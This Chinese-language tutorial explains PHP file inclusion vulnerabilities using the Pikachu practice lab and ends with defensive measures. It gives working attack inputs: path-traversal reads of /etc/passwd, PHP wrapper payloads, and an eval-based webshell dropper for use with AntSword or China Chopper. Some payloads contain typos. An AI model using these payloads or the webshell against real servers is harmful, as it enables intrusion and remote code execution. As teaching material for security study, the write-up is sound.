文章目录
File Inclusion(文件包含)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP
中,提供了:
include(),include_once(), require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web
应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
在web
开发后台中,程序员往往问了提高效率或者使代码看起来更加简洁,会使用“包含”函数功能,比如把一系列功能函数都写进function.php
中,之后当某个文件需要调用的时候就直接在文件头上写上一句<?php include function.php?>
就可以调用函数代码。
但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了包含功能),又由于开发人员没有对要包含的这个文件进行考虑,就导致攻击可以通过修改包含文件的位置来让后台执行任意文件代码,这种情况我们称之为“文件包含漏洞”。
漏洞产生原因
- web应用实现了动态包含
- 动态包含的文件路径参数,客户端可控
这个漏洞非常严重,一句话木马过不了安全狗(安全产品),但通过文件包含漏洞可以.
漏洞特点
- 无视文件扩展名读取文件。包含文件时,PHP会读取文件源码,包括图片文件。尝试包含图片,连接为:
http://172.16.132.138/fileInclude/fileinclude.php?path=smile.jpg
,打开图片,发现不是图像,而是图片源码。 - 无条件解析PHP代码。文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行,例如将
info.php
的后缀名改为info.rar
,依旧能够显示phpinfo()
信息,也为图片马提供了另外一种方式。
文件包含函数
通过include()
或者require()
语句,可以将PHP文件的内容插入到另一个PHP
文件(在服务器执行他之前)。include和require语句是相同的,除了错误处理方面:require
会生成致命错误(E_COMPILE_ERROR)
并停止脚本,include
只生成警告(E_WARNING)
,并且脚本会继续。
include()
:文件包含失败时会产生警告,脚本继续运行
include_once()
:与include()
功能相同,文件只会包含一次
require()
:文件包含失败时,会产生错误,直接结束脚本执行
require_once()
:与require()
功能相同,文件只会被包含一次
文件包含示例
<?php
$path=$_GET['path']
include_once("./inc.php");
echo"<h1>This is include_once.php!</h1>";
- 本地文件包含
本地文件包含就是可以通过相对路径的方式找到文件,如http://172.16.132.138/fileInclude/fileinclude.php?path=info.php
- 远程文件包含
远程文件包含就是我们可以通过http(s)
或者ftp
【文件传输协议】等方式,远程加载文件
如http://172.16.132.138/fileInclude/sileinclude.phppath=http://172.16.132.138/fileInclude/info.php
本地文件包含漏洞演示
- 我们选择
kobe bryant
,点击后发现url
显示为提交的是一个文件名提交至后台,后台会对致指定文件进行操作。 - 我们可以知道,这个文件是后台中存在的, 但是文件名是前端传至后台,意思是前端人员可以尝试修改文件。我们猜测后台为
linux
系统,因此可以尝试访问他的固定配置文件../../../../../etc/passwd
(其中../
为查看上一级目录,最终访问的是根目录),最终他的配置则会暴露出来。
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../../../..etc/passwd&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
3. 我们可以查看文件源码,用户修改文件名字,但是后端又没有做相应的处理,源码中有提示正确的写法
远程文件包含漏洞演示
远程文件包含漏洞跟本次文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提:如果使用的是include
和require
,则需要php.ini
配置如下(php 5.4.34)
:
allow_url_fopen=on //默认打开
Allow_url_include=on //默认打开
- 场景与本地文件包含漏洞相同,随便点开一个,发现
url
中提交的是目标文件的路径。 - 这时我们可以改成远端路径读取远程文件。我们可以将一句话木马写入远程文件中,一旦代码被执行,则会自动生成
php
文件。我们只需要把filename
后的路径改为远端路径,查看后端服务器即可看到生成的一句话木马的php
文件。 - 源码提示
文件包含漏洞的防范措施
文件包含漏洞的利用
思路:
- 制作一个图片马,通过文件上传漏洞上传;
- 通过文件包含漏洞对该图片马进行“包含”;
- 获取执行结果
一、 读取敏感文件
我们可以利用文件包含漏洞,读取任意文件,读取文件的时候有利用条件
① 目标主机文件存在(目标文件的绝对路径和相对路径);
② 具有文件可读权限
提交参数?path=c:\windows\System32\drivers\etc\hosts
读取本地host文件
?path=..\..\..\..\..\windows\System 32\drivers\etc\hosts
x先返回到最上级目录即根目录er
二、 直接包含图片木马
可以利用文件包含漏洞直接包含图片木马,直接包含图片木马?path=pngYjh.png
然后使用蚁剑或者中国菜刀连接
三、包含木马写shell
可以将以下代码写入图片中
<?php
fputs (fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>')
?>
代码含义是:在当前目录下创建一个名为shell.php
的文件,内容是<?php @eval(\$_REQUEAT['cmd'])?>
四、 PHP封装协议——传输PHP文件
?path=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
例:重定向和转发的练习题用此协议完成文件包含并获得flag。
upload-labs通关攻略中的less 11
方法2
五、 PHP封装协议——访问本次文件
使用PHP的file协议访问本次系统文件,提交参数
?path=php://c:\windows\System32\drivers\etc\hosts
六、PHP封装协议——执行PHP命令
PHP伪协议(文件包含漏洞常用的利用方法)
PHP
协议因为自定义的,所以被称为伪协议。PHP伪协议实际上是PHP所支持的协议与封装协议,共12种。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs【文件传输协议】
php:// — 访问各个输入/输出流(I/O streams)
zip:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
下面着重写几种常用的协议
一、php://——访问各个输入/输出流
- 使用条件:不需要开启
allow_url_fopen
,仅php://input、php://stdin、php://memory
和php://temp
需要开启allow_url_include
且打开危害较大,需要慎重;php://
访问各个输入输入、输出流,在CTF
中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php
代码。 php://filter
在php.ini
配置下,allow_url_fopen
和allow_url_include
双off
情况下也可以使用。
?file=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
?file=php://filter/convert.base64-encode/resource=index.php //或去掉read
php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP
代码执行。
php.ini
配置中allow_url_fopen :off/on ;allow_url_include:on
POST : <?php phpinfo()?>
也可以POST如下内容生成一句话:
<?php
fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');
?> //包含木马写shell
代码含义是:在当前目录下创建一个名为shell.php
的文件,内容是<?php @eval(\$_REQUEAT['cmd'])?>
二、file://——访问本地文件系统
- 用于访问本地文件系统,在
CTF
中通常用来读取本地文件且不受allow_url_fopen
和allow_url_include
控制。
?file=file://[文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file:///etc/passwd
三、zip://——访问压缩流
- 压缩流,访问压缩文件的子文件,不受
allow_url_fopen
和allow_url_include
控制。
?file=zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
http://127.0.0.1/cmd.php?file=zip:///var/www/html/shell.zip#shell.php
- 用法:将写好的一句话木马压缩为
zip
上传,然后使用zip
协议访问,即可绕过waf
访问一句话木马,zip
协议只支持绝对路径。
四、phar://——PHP归档
- 访问
phar
文件,phar
文件本质上也是压缩文件,不受allow_url_fopen
和allow_url_include
控制。
?file=phar://[压缩文件绝对路径/相对路径[压缩文件子文件名]
- 与
zip
协议的区别在于phar
协议可以可以使用相对路径,但它本身可引起反序列化漏洞。
五、data://——数据流
- php.ini的配置:
allow_url_fopen :on
allow_url_include:on
六、http://——访问 HTTP(s) 网址
php.ini
的配置:
allow_url_fopen :on
allow_url_include:on
http://192.168.1.1/cmd.php?file=https://www.baidu.com //即显示百度主页
- 涉及远程文件包含,参考上面的远程文件包含漏洞演示。
文件包含漏洞的防范措施
- 在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作;
- 过滤
../../,http://,https://
- 配置
php.ini
配置文件:
allow_url_fopen=off //不管开不开,本次文件包含都存在
Allow_url_include=off //远程文件包含漏洞时需要打开,打开时需要慎重,危害很大
magic_quotes_gpc=on
- 通过白名单策略,仅允许包含运行指定的文件,其他的都禁止